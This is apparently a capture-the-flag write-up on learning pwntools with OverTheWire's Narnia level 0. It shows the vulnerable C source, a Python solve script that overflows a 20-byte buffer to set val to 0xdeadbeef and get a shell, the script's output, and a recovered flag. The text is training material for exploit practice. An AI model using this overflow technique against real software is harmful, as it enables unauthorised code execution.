Learning pwntools via OverTheWire Narnia WarGame

narnia output

-> % python solve_narnia.py
[+] Connecting to narnia.labs.overthewire.org on port 22: Done
[+] Downloading '/narnia/narnia0.c': Found '/games/narnia/narnia0.c' in ssh cache
[+] Downloading '/narnia/narnia0.c' to 'narnia0.c': Found '/games/narnia/narnia0.c' in ssh cache
[*] Displaying code momentarily...
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/
#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef)
        system("/bin/sh");
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

[+] Opening new channel: '/narnia/narnia0': Done
[*] Flag = efeidiedae
[*] Closed SSH channel with narnia.labs.overthewire.org

solve_narnia.py

from pwn import *
from pygments import highlight
from pygments.lexers import CLexer
from pygments.formatters import TerminalFormatter

level = 0
user = 'narnia%s' % level
host = 'narnia.labs.overthewire.org'
password = 'narnia0'

def connectToLevel():
	return ssh(user=user, host=host, password=password)

def getPass(shell):
	shell.sendline('cat /etc/narnia_pass/narnia%s' % (level+1))
	flag = shell.recvuntil('$').split()[0]
	log.info('Flag = %s' % flag)
	shell.close()
	return flag

def getCode(shell):
	code = shell.download_data('/narnia/' + user + '.c')
	shell.download_file('/narnia/' + user + '.c')
	log.info('Displaying code momentarily...')
	print highlight(code, CLexer(), TerminalFormatter(bg='dark'))

context(arch='i386', os='linux')

sh = connectToLevel()
getCode(sh)
exe = sh.run('/narnia/' + user)
exe.recvuntil(':')
exe.sendline('A'*20 + p32(0xdeadbeef))
exe.recvuntil('$')
flag = getPass(exe)